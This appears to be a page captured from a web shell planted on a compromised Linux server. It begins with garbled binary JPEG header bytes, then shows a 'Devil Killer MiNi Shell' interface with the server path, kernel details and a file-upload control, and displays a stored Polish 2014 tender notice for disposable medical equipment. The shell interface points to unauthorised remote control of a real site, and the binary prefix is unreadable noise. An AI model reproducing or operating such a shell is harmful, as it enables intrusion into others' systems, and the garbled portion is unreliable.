JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20141016/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20141016/344920-N-2014.html

<p class="kh_header"><b>Kielce: Dostawy jednorazowego sprzętu medycznego</b><br>
<b>Numer ogłoszenia: 344920 - 2014; data zamieszczenia: 16.10.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Świętokrzyskie Centrum Ratownictwa Medycznego i Transportu Sanitarnego , ul. Św. Leonarda 10, 25-311 Kielce, woj. świętokrzyskie, tel. 041 3612344 w. 29.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.scrmits.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Samodzielny publiczny zakład opieki zdrowotnej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawy jednorazowego sprzętu medycznego.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> L.p.	Asortyment	Jednostka miary	Ilość sztuk opakowań  rolek

1	Cewnik Foley, obustronnie pokryty elastomerem silikonowym z plastikową zastawką o pojemności balonu (30-45ml), jałowy. Na opakowaniu pojedynczym nadrukowana fabrycznie informacja o max czasie przebywania cewnika w cewce moczowej pacjenta CH 16-30	1 szt.	1 000
2	Cewnik do odsysania górnych dróg oddechowych nr 6-10, długość 40 cm , sterylny, z dwoma otworami bocznymi i jednym centralnym, pakowany jednostkowo, datą ważności i produkcji	1 szt.	130
3	Cewnik do odsysania górnych dróg oddechowych nr 12-20, długość 60 cm 	1 szt.	600
4	Cewnik do podawania tlenu przez nos z drenem długości 180 do 210 cm, sterylny.	1 szt.	6 100
5	Czyściwo celulozowe szerokości 26,5 cmx141 m, gramatura 65gr/m2, z perforacją co 38 cm	1 rolka	30
6	Elektrody piankowe z formułą hydrożelu płynnego, owalne o wymiarach 57x34mm	1 szt.	143 000
7	Elektrody piankowe pediatryczne, piankowe z formułą hydrożelu płynnego o wymiarach 30x24mm   	1 szt.	900
8	Filtr oddechowy pediatryczny, elektrostatyczny, wirusowo-bakteriobójczy, sterylny z portem do  kapnografii zamykanym zatyczką, waga 9 g, przestrzeń martwa 10 ml	1 szt.	30
9	Filtr oddechowy elektrostatyczny, wirusowo - bakteriobójczy, sterylny z portem do kapnografii zamykanym zatyczką, waga 28,5 g, przestrzeń martwa 45ml	1 szt.	850
10	Folia izotermiczna (koc ratunkowy) o rozmiarze 1,6x2,4 m	1 szt.	460
11	Igła do injekcji jednorazowego użytku rozm. 5x25; sterylne op=100 szt	1 op.	40
12	Igła do injekcji jednorazowego użytku rozm. 0,6x30; sterylne op=100 szt	1 op.	140
13	Igła do injekcji jednorazowego użytku rozm. 0,7x40; sterylne op=100 szt	1 op.	380
14	Igła do injekcji jednorazowego użytku rozm. 0,8x40; sterylne op=100 szt	1 op.	630
15	Igła do injekcji jednorazowego użytku rozm. 0,9x40; sterylne op=100 szt	1 op.	240
16	Igła do injekcji jednorazowego użytku rozm. 1,1x40; sterylne op=100 szt	1 op.	15
17	Igła do pobierania leków z fiolek z gumowym korkiem z zakończeniem typu Pencil Point, zapobiegającym fragmentacji korka - rozm. 1.2 dł. 30mm - op. a 100 szt.	1 op.	170
18	Jednorazowe końcówki ochronne do termometru Braun a 20szt. 	1 op.	300
19	Kaczka jednorazowego użytku	1 szt.	40
20	Kaniula do długotrwałych wlewów dożylnych wykonana z PTFE, wolna od lateksu i PCV, z zaworem iniekcyjnym, z korkiem samodomykającym, z filtrem hydrofobowym, widoczna w promieniach RTG, korek luer - lock z trzpieniem poniżej jego krawędzi, ze skrzydełkami, rozmiar: 18G 1,2x32mm, przepływ 80ml/min.	1 szt.	9 000
21	Kaniula do długotrwałych wlewów dożylnych wykonana z PTFE, wolna od lateksu i PCV, z zaworem iniekcyjnym, z korkiem samodomykającym, z filtrem hydrofobowym, widoczna w promieniach RTG, korek luer - lock z trzpieniem poniżej jego krawędzi, ze skrzydełkami, rozmiar: 20G 1,0x32mm, przepływ 54ml/min.	1 szt.	19 000
22	Kaniula do długotrwałych wlewów dożylnych wykonana z PTFE, wolna od lateksu i PCV, z zaworem iniekcyjnym, z korkiem samodomykającym, z filtrem hydrofobowym, widoczna w promieniach RTG, korek luer - lock z trzpieniem poniżej jego krawędzi, ze skrzydełkami, rozmiar: 22G 0,8x25mm, przepływ 31ml/min.	1 szt.	8 000
23	Kaniula do długotrwałych wlewów dożylnych wykonana z PTFE, wolna od lateksu i PCV, z zaworem iniekcyjnym, z korkiem samodomykającym, z filtrem hydrofobowym, widoczna w promieniach RTG, korek luer - lock z trzpieniem poniżej jego krawędzi, ze skrzydełkami, rozmiar: 16G 1,7x45mm, przepływ 180ml/min.	1 szt.	1 100
24	Kaniula do długotrwałych wlewów dożylnych wykonana z PTFE, wolna od lateksu i PCV, z zaworem iniekcyjnym, z korkiem samodomykającym, z filtrem hydrofobowym, widoczna w promieniach RTG, korek luer - lock z trzpieniem poniżej jego krawędzi, ze skrzydełkami, rozmiar: 24G 0,7x19mm, przepływ 18ml/min.	1 szt.	150
25	Kaniula bezpieczna do długotrwałych wlewów dożylnych wyposażona w automatyczny, plastikowy zatrzask z obudową wykonaną z tworzywa sztucznego chroniący przed zakłuciem oraz zachlapaniem krwią, aktywowany w momencie usunięcia igły z mandrynu, posiadająca filtr hydrofobowy, standardowy zawór portu bocznego, 3 paski kontrastujące w RTG, wykonana z poliuretanu. Opakowanie typu folia - papier, rozmiar: 18G 1,3x32mm, przepływ 103 ml/min.	1 szt.	3 500
26	Kaniula bezpieczna do długotrwałych wlewów dożylnych wyposażona w automatyczny, plastikowy zatrzask z obudową wykonaną z tworzywa sztucznego chroniący przed zakłuciem oraz zachlapaniem krwią, aktywowany w momencie usunięcia igły z mandrynu, posiadająca filtr hydrofobowy, standardowy zawór portu bocznego, 3 paski kontrastujące w RTG, wykonana z poliuretanu. Opakowanie typu folia - papier, rozmiar: 20G 1,0x32 mm, przepływ 59 ml na min.	1 szt.	4 500
27	Kieliszki jednorazowego użytku 75 szt. w jednym opakowaniu	1 op.	10
28	Korek do kaniul z trzpieniem poniżej jego krawędzi	1 szt. 	220
29	Maska chirurgiczna na gumkach	1 szt. 	50
30	Maska tlenowa z drenem dla dorosłych, 	1 szt.	1 350
31	Maska tlenowa z drenem dla dzieci,	1 szt.	200
32	Maska tlenowa z drenem dla dzieci nebulizatorem	1 szt.	230
33	Maska tlenowa z drenem dla dorosłych nebulizatorem	1 szt,	700
34	Nakłuwacz 1,8 mm posiadający barwny kod głębokości wkłucia a 200 szt.	1 szt.	85
35	Nerka jednorazowego użytku	1 szt.	250
36	Opaski uciskowe (stazy) bezlateksowe, jednorazowego użytku do pobierania krwi w kolorze niebieskim, wykonane z szerokiego rozciągliwego paska gumy syntetycznej, perforowane, płaskie. Na pojedynczym opakowaniu napisy w języku polskim oraz graficzna instrukcja obsługi. Rolka 25szt.	1 op.	85
37	Plaster do mocowania kaniul 6 x 8 jałowy transparentny	1 szt.	45 000
38	Papier termoczuły do ekg Zoll 90x90x200,  	1 szt.	1 250
39	Papier do EKG Ascard 112mm x 25m	1 szt.	75
40	Papier do EKG Ascard 58mm x 25m	1 szt.	10
41	Przyrząd do przetaczania płynów infuzyjnych jałowy, w skład aparatu wchodzi: osłonka igły biorczej, igła biorcza dwukanałowa, hydrofobowy filtr powietrza z zatyczką w kolorze niebieskim, komora kroplowa 20 kropli = 1ml+ -0,1ml wolna od PCV, filtr płynu o wielkości oczek 15um, zaciskacz rolkowy, dren medyczny dł. 150cm, łącznik stożkowy luer - lock, osłonka łącznika luer - lock, sterylizowane EO, opakowanie przyrządu blister-pack ( folia-papier). Przyrząd w całości wolny od ftalanów (DEHP) informacja na opakowaniu jednostkowym).	1 szt.	1 050
42	Pęseta jednorazowego użytku mikrobiologicznie czysta	1 szt.	550
43	Rurka ustno - gardłowa Nr 0, sterylna , pakowana jednostkowo, z wyraźną datą produkcji i ważności, oznaczone kolorami 	1 szt.	60
44	Rurka ustno - gardłowa Nr 5, sterylna , pakowana jednostkowo, z wyraźną datą produkcji i ważności, oznaczone kolorami 	1 szt.	45
45	Rurka ustno - gardłowa Nr 1, sterylna , pakowana jednostkowo, z wyraźną datą produkcji i ważności, oznaczone kolorami 	1 szt.	45
46	Rurka ustno - gardłowa Nr 2 sterylna , pakowana jednostkowo, z wyraźną datą produkcji i ważności, oznaczone kolorami 	1 szt.	145
47	Rurka ustno - gardłowa Nr 3 sterylna , pakowana jednostkowo, z wyraźną datą produkcji i ważności, oznaczone kolorami 	1 szt.	170
48	Rurka ustno - gardłowa Nr 4 sterylna , pakowana jednostkowo, z wyraźną datą produkcji i ważności, oznaczone kolorami 	1 szt.	155
49	Rurka intubacyjna bez mankietu( dziecięca) Nr 2; 2,5; 3; 3,5; 4; 4,5;5;5,5;6	1 szt.	140
50	Rurka intubacyjna z mankietem niskociśnieniowym, z podwójnym znacznikiem głębokości  Nr 5 - 9,5	1 szt.	800
51	Szpatułka drewniana sterylna x 100 szt., pakowana jednostkowo, z datą ważności i produkcji	1 op.	290
52	Strzykawka trzyczęściowa 2 ml Luer, położenie końcówki centralne, cylinder o wysokim stopniu przejrzystości, z czytelną i nieścieralną, rozszerzoną skalą co 0,1ml do 2,5ml, kontrastujący tłok, gumowa część tłoka z podwójnym uszczelnieniem wyraźna kryza zabezpieczająca przed wysunięciem tłoka, tłok w kolorze zielonym z czterema nacięciami ułatwiającymi jego załamanie po wykonanej procedurze, opakowanie typu blister-pack z polskimi opisami oraz datą produkcji i ważności; pakowane w kartonowe opakowania, op.100szt. Rozmiar kodowany kolorystycznie na opakowaniu.	1 op.	500
53	Strzykawka trzyczęściowa 5ml Luer, położenie końcówki centralne, cylinder o wysokim stopniu przejrzystości, z czytelną i nieścieralną, rozszerzoną skalą co 0,2ml do 5ml i co 0,25ml do 5,5ml, kontrastujący tłok, gumowa część tłoka z podwójnym uszczelnieniem wyraźna kryza zabezpieczająca przed wysunięciem tłoka, tłok w kolorze zielonym z czterema nacięciami ułatwiającymi jego załamanie po wykonanej procedurze, opakowanie typu blister-pack z polskimi opisami oraz datą produkcji i ważności; pakowane w kartonowe opakowania, op.100szt. Rozmiar kodowany kolorystycznie na opakowaniu.	1 op.	410
54	Strzykawka trzyczęściowa 10ml Luer, położenie końcówki centralne, cylinder o wysokim stopniu przejrzystości, z czytelną i nieścieralną, rozszerzoną skalą co 0,2ml do 11ml,  kontrastujący tłok, gumowa część tłoka z podwójnym uszczelnieniem, wyraźna kryza zabezpieczająca przed wysunięciem, tłok w kolorze zielonym z czterema nacięciami ułatwiającymi jego załamanie po wykonanej procedurze, opakowanie typu blister-pack z polskimi opisami oraz datą produkcji ważności; pakowane w kartonowe opakowania op. 100szt. Rozmiar kodowany kolorystycznie na opakowaniu.	1 op.	95
55	Strzykawka trzyczęściowa 20ml Luer, położenie końcówki boczne, cylinder o wysokim stopniu przejrzystości, z czytelną i nieścieralną, rozszerzoną skalą co 0,5ml do 22ml, kontrastujący tłok, gumowa część tłoka z podwójnym uszczelnieniem, wyraźna kryza zabezpieczająca przed wysunięciem tłoka, tłok w kolorze zielonym z czterema nacięciami ułatwiającymi jego załamanie po wykonanej procedurze, opakowanie typu blister-pack z polskimi opisami oraz datą produkcji ważności; pakowane w kartonowe opakowania op. 50szt. Rozmiar kodowany kolorystycznie na opakowaniu.	1 op.	190
56	Podkład celulozowy dwuwarstwowy 50 cm x 50 cm z perforacją co 37 cm, nasączony środkiem bakteriostatycznym	1 rolka	70
57	Podkład celulozowy dwuwarstwowy 59 cm x 80 cm z perforacją co 37 cm, nasączony środkiem bakteriostatycznym	1 rolka	75
58	Pojemniki na odpady medyczne 0,7 l o owalnej podstawie, wykonane z PP, z otworem o średnicy max. 40 mm ( po usunięciu zabezpieczeń otworu wrzutowego), kolor  czerwony	1 szt.	3 190
59	Pojemniki na odpady medyczne 5 l wykonane z PP, z pokrywą i otworem o średnicy minimum 90 mm kolor  czerwony	1 szt.	3 400
60	Pojemnik na odpady medyczne 10l wykonany z PP,z pokrywą i otworem o średnicy minimum 90mmm, kolor  czerwony	1 szt.	1 200
61	Przedłużacz tlenowy sterylny długości min. 2,0 m	1 szt. 	55
62	Prowadnica do rurek intubacyjnych - rozmiary 6Fr, 10Fr,14Fr, sterylne	1 szt.	20
63	Rękawice diagnostyczne, lateksowe, bezpudrowe z wewnętrzną warstwą polimerową, z rolowanym mankietem, teksturowane jednorodnie na całej powierzchni dłoni i palców. Grubość pojedynczej ścianki na palcu 0,12mm, dłoni 0,11mm, mankiecie 0,08mm, długość 240mm. Odporne na przenikanie wirusów zgodnie z normą ASTM F1671 oraz substancji chemicznych zgodnie z EN 374-3 potwierdzone badaniami z jednostki niezależnej. Kolor naturalnego lateksu. Opakowanie po 100 sztuk. Rozmiar S.	1 op.	35
64	Rękawice diagnostyczne, lateksowe, bezpudrowe z wewnętrzną warstwą polimerową, z rolowanym mankietem, teksturowane jednorodnie na całej powierzchni dłoni i palców. Grubość pojedynczej ścianki na palcu 0,12mm, dłoni 0,11mm, mankiecie 0,08mm, długość 240mm. Odporne na przenikanie wirusów zgodnie z normą ASTM F1671 oraz substancji chemicznych zgodnie z EN 374-3 potwierdzone badaniami z jednostki niezależnej. Kolor naturalnego lateksu. Opakowanie po 100 sztuk. Rozmiar M.	1 op.	470
65	Rękawice diagnostyczne, lateksowe, bezpudrowe z wewnętrzną warstwą polimerową, z rolowanym mankietem, teksturowane jednorodnie na całej powierzchni dłoni i palców. Grubość pojedynczej ścianki na palcu 0,12mm, dłoni 0,11mm, mankiecie 0,08mm, długość 240mm. Odporne na przenikanie wirusów zgodnie z normą ASTM F1671 oraz substancji chemicznych zgodnie z EN 374-3 potwierdzone badaniami z jednostki niezależnej. Kolor naturalnego lateksu. Opakowanie po 100 sztuk. Rozmiar L.	1 op.	530
66	Rękawice diagnostyczne winylowe, bezpudrowe z wewnętrzną warstwą poliuretanową, gładkie, rolowany mankiet, grubość pojedynczej ścianki na palcu oraz dłoni 0,08mm(+ - 0,02mm), mankiecie 0,05mm(+ - 0,02mm), posiadające badania z jednostek niezależnych od producenta potwierdzające brak zawartości DEHP oraz potwierdzające zgodność z normą EN 374 (wodorotlenek sodu 40% - klasa 6), ASTM F1671.   Kolor biały (półprzeźroczysty).  Opakowanie po 100sztuk, rozmiary S,M, L 	1 op.	120
67	Rękawice diagnostyczne do procedur o podwyższonym ryzyku, lateksowe, bezpudrowe, chlorowane. Grubość pojedynczej ściańki na palcu 0,40mm, dłoni 0,30mm, mankiecie 0,20mm, długość 295-300mm, rozciągliwość przed starzeniem 900%, siła zrywająca przed starzeniem 33N. Zarejestrowane jako wyrób medyczny oraz środek ochrony osobistej kategorii III. Opakowanie po 25 par, rozmiary S, M, L, XL.	1 op.	150
68	Rękawice diagnostyczne nitrylowe o obniżonej grubości. Grubość na palcu 0,08mm, dłoni 0,07mm, mankiecie 0,06mm. Rolowany mankiet, teksturowane tylko na palcach, kolor niebieski, polimerowane od strony roboczej, chlorowane od wewnątrz, długość min. 240mm. Zarejestrowane jako wyrób medyczny oraz środek ochrony osobistej kategorii III. Przebadane na przenikalność min. 10 substancji chemicznych na conajmniej 2 poziomie ochrony potwierdzone badaniami z jednostki niezależnej od producenta. Informacja o substancjach oraz poziomie ochrony nadrukowana na opakowaniu. Dopuszczone do kontaktu z żywnością potwierdzone piktogramami na opakowaniu. Zgodne z normą ASTM F1671 potwierdzone badaniami z jednostki niezależnej. Pozbawione tiuramów oraz MBT potwierdzone badaniami HPLC z jednostki niezależnej. Rozmiar kodowany kolorystycznie na opakowaniu. Opakowanie po 200 sztuk (XS-L) oraz 180sztuk (XL) 	1 op.	3 950
69	Rękawice chirurgiczne lateksowe sterylne z dodatkiem żelu aloesowego, bezpudrowe, z rolowanym mankietem, z wewnętrzną i zewnętrzną warstwą polimerową, kolor zielony. Grubość pojedynczej ścianki na palcu 0,17mm, dłoni 0,16mm, mankiecie 0,15mm, długość 275-300mm, rozciągliwość przed starzeniem min. 870%. Zarejestrowane jako wyrób medyczny oraz środek ochrony osobistej kategorii III. Na każdej rękawicy nadruk rozmiaru. Opakowanie wew. papierowe, zew. folia (nie składane na pół). Rozmiary 5,5-9,0 	1 para	650
70	Staza gumowa, lateksowa	1 szt.	140
71	Szyna Kramera długość 150 x 10cm	1 szt.	20
72	Szyna Kramera długość 100 x  10 cm	1 szt.	50
73	Szyna Kramera długość 80 x 12 cm	1 szt.	10
74	Szyna Kramera  długość 50 x 8 cm	1 szt.	10
75	Układ noworodkowy, 2 rury o długości 1,2 m, średnicy 10 mm, końcówki 15 M od strony respiratora, od strony pacjenta złącze Y z portem 7,6 i końcówką 15F	1 szt.	30
76	Układ noworodkowy, 2 rury o długości 1,6 m, średnicy 10 mm, końcówki 15 M od strony respiratora, od strony pacjenta złącze Y z portem 7,6 i końcówką 15F	1 szt.	50
77	Worek na mocz 2 l z odpływem jałowy	1 szt.	690
78	Zgłębnik żołądkowy ch 12 - 24 - 1250mm	1 szt.	65
79	Żel do EKG 250 ml	1 szt.	55.</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 33.14.10.00-0.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie spełniania   
  warunku udziału w postępowaniu Wykonawca złoży podpisane oświadczenie o spełnianiu 
  warunków udziału w postępowaniu art.22 ust.1pkt.1÷4, załącznik nr 2 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie spełniania   
  warunku udziału w postępowaniu Wykonawca złoży podpisane oświadczenie o spełnianiu 
  warunków udziału w postępowaniu art.22 ust.1pkt.1÷4, załącznik nr 2 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie spełniania   
  warunku udziału w postępowaniu Wykonawca złoży podpisane oświadczenie o spełnianiu 
  warunków udziału w postępowaniu art.22 ust.1pkt.1÷4, załącznik nr 2 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie spełniania   
  warunku udziału w postępowaniu Wykonawca złoży podpisane oświadczenie o spełnianiu 
  warunków udziału w postępowaniu art.22 ust.1pkt.1÷4, załącznik nr 2 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie spełniania   
  warunku udziału w postępowaniu Wykonawca złoży podpisane oświadczenie o spełnianiu 
  warunków udziału w postępowaniu art.22 ust.1pkt.1÷4, załącznik nr 2 do SIWZ.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>

<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">nie orzeczono wobec niego zakazu ubiegania się o zamówienie - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Deklaracje zgodności dla wszystkich wyrobów oznakowanych znakiem CE, plus certyfikat CE 
      wystawiony przez jednostkę notyfikacyjną dla wyrobów sterylnych. W przypadku wyrobów nie 
       oznakowanych CE i nie podlegających deklaracji zgodności, czy też wprowadzanych po raz 
       pierwszy na terenie Polski, wymagane jest zgłoszenie, potwierdzone wpisem do Rejestru 
      Wyrobów Medycznych.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
